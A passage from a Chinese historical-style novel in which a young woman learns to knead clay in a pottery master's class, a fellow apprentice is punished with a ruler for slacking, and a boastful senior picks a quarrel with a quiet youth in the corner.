柳芸感受着手上沉甸甸的分量,冲赵飞眨了眨眼睛:“谢谢师兄。”
少女的眼神澄澈明亮,赵飞一时竟被晃了眼睛。
他以为柳芸肯定对他心怀感激,其实柳芸心里吐槽,好重!想直接甩给裴济之,但碍于现在是在杜师傅的课上,她只好忍耐。
终于回到座位,柳芸举起陶泥用力往桌上一摔,木桌都抖了几下。
这动静引得埋首读书的裴济之也抬起头看了她一眼。
“你看什么看!”柳芸叉腰,板着脸。
裴济之面无表情移开视线,继续温习功课。
先前在自家陶肆学的都是拉坯,用的都是现成的陶泥,这揉捏陶泥她确实没有干过。
岂料看着杜师傅操作简单,实际上门道很深,自己动手却遇到困难。
泥料粗粝,稍稍一攥,粘腻的泥土便从指缝里溢出来,柳芸皱眉,这种触感实在谈不上多好。
她尝试忽略这种古怪的感受,努力学着师傅的样子用力按压,但陶泥在她手中并不听话,总是松松散散,塌成一滩烂泥,半点不成形。
半炷香功夫,柳芸的掌心已经被磨得发烫,指缝里全是深色的泥渍,额角渗出细密的汗珠,莹白如玉的手指被糟蹋成这样,她有些恼火,下手更加心浮气躁。
“什么破泥!捏都捏不拢!”
柳芸赌气似的将陶泥往桌案上一砸。
“师妹?”赵飞转头就见到柳芸气鼓鼓坐在位置上,他不知道咋哄女孩子,从兜里掏出一卷手帕递过去,犹犹豫豫叫了声,“你用我的手帕擦擦罢。”
柳芸扫了他一眼:“不用。”
他触及到她冷冰冰的眼神,不知怎得,手就自动收回了。
杜师傅朝柳芸这边走过来,一眼看出症结所在:“你力道太轻,泥里全是气,一烧就会裂。”
轻?柳芸挑眉,她看了看自己的双手,掌心红红的,她缓缓合拢,目光坚定。
她深吸一口气,卯足力气往下摁,岂料泥被她揉得四分五裂,在桌上四处散开,越急越乱,越乱越气,从赵飞的角度看过去,这小师妹下颌线紧绷。
柳芸终于将陶泥揉成一团,她刚舒一口气,杜师傅俯身轻轻一戳,“啪”一声,泥团便粉身碎骨裂开。
杜师傅拿着戒尺在木桌上敲了敲:“心浮气躁,什么都做不成!”
这话刺得柳芸心里一紧。
杜师傅竟然看出了她心境浮躁,陈县令上贡陶器的期限就在三个月后,她不可谓不着急。
杜师傅将一团新泥推到她面前:“陶土不欺人。你静一分,它便顺一分;你乱一分,它便裂一分。揉泥,揉的不是力气,是心性。”
他一番话下来,柳芸感觉心浮气躁的心绪平复不少,她垂眸望着那团泥,深吸一口气,将所有急躁压下去。
深呼吸,再次尝试,她不再求快,只沉下心,一下、一下,缓缓用力。泥在掌心慢慢贴合,温热的触感顺着指尖漫进心底。
约莫一刻钟后,陶泥渐渐成了型。
杜师傅点头:“悟性还不错。”
他转头去看赵飞,就见赵飞桌上的陶泥一动未动,杜师傅立刻
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皱眉:“赵飞,你干嘛呢?”
赵飞正偷看柳芸这边的动静呢,哪里料到杜师傅冲着他来了,他立刻回神,心虚地解释:“我看小师妹需不需要帮忙……”
杜师傅不听他废话,冷声道:“手心摊开。”
赵飞苦了脸,这架势分明是要惩罚他了。
“师傅,我不是故意的!我马上揉泥!”他试图垂死挣扎。
“手伸出来!我不想再说第三遍。”杜师傅板着脸。
赵飞求饶没用,只好不情不愿摊开手。
“啪啪!”
戒尺敲击在皮肉上,发出清脆的声音。赵飞痛得龇牙咧嘴。
“上课不好好听讲,实操也不好好练习,你给我站着!”杜师傅瞪着他。
赵飞红着脸低下头,局促地站起来。
杜师傅还要继续苦口婆心教育赵飞,有个伙计突然进来,把杜师傅叫了出去。
趁着杜师傅离开,邵恒举着手里成型的陶泥转身,对着赵飞吹了声口哨:“师弟,你看我揉出来的泥团,咋样?是不是很完美?”
然后他顿了顿,话锋一转,目光落在赵飞的泥块上,似乎才看到一样,故作惊讶地挑眉:“师弟,你这是捏了个啥……你不会是连揉泥都不会吧?”
周围传来低低的哄笑。
赵飞脸烧起来,咬牙压低声音警告:“邵恒,你不要欺人太甚!”
邵恒笑容不减,覆在赵飞耳侧:“你这样的货色就少出来丢人现眼了,不如在家好好帮你爹娘种地,陶艺不适合你。”
赵飞脸一僵,像是被人戳中最痛的要点,他攥住手中的衣袖,死死盯着邵恒。
柳芸毫不怀疑若不是杜师傅在场,赵飞现在已经挥着拳头冲上去了。
邵恒不慌不忙坐回去,整整了衣袖,看向柳芸:“师妹,你也看到了,赵飞就是个不中用的,我劝你少跟他来往。”
他扬起下巴,一副自视甚高的模样:“你师兄我呢,立志要进柳家陶肆做陶匠,将来是要被柳家当作座上宾的,你年纪小,但也要擦亮眼睛,选择优秀的师兄带你才好。”
柳家的座上宾?
柳芸眼皮都没撩一下,她继续忙活着揉泥,不打算搭理邵恒。
邵恒见自己竟然被一个小丫头片子无视,有些恼火。他见这丫头长得漂亮,突发善心想给她指条明路,没成想她还不领情。
忽然,不知道是谁笑了一声。
邵恒脸色一变,骂道:“谁?谁在笑?”
他循声望过去,见到一个少年捧着书卷坐在角落里,嘴角的嘲讽还未褪下。
邵恒方才进屋的时候匆匆瞥过一眼,见此人一直默不作声蹲在角落,面前连桌子都没有,心中猜测此人不过尔尔,估计是江家陶肆派来打扫屋子的小厮。
他难免轻视了此人,谁知这人竟如此这般不长眼,敢嘲笑他,真是活得不耐烦了。
“你算什么东西,给小爷滚出来道歉!”邵恒方才在柳芸这儿自讨没趣,今天非要在师兄弟面前找回场子。
他叉着腰,指着裴济之,眼神阴鸷。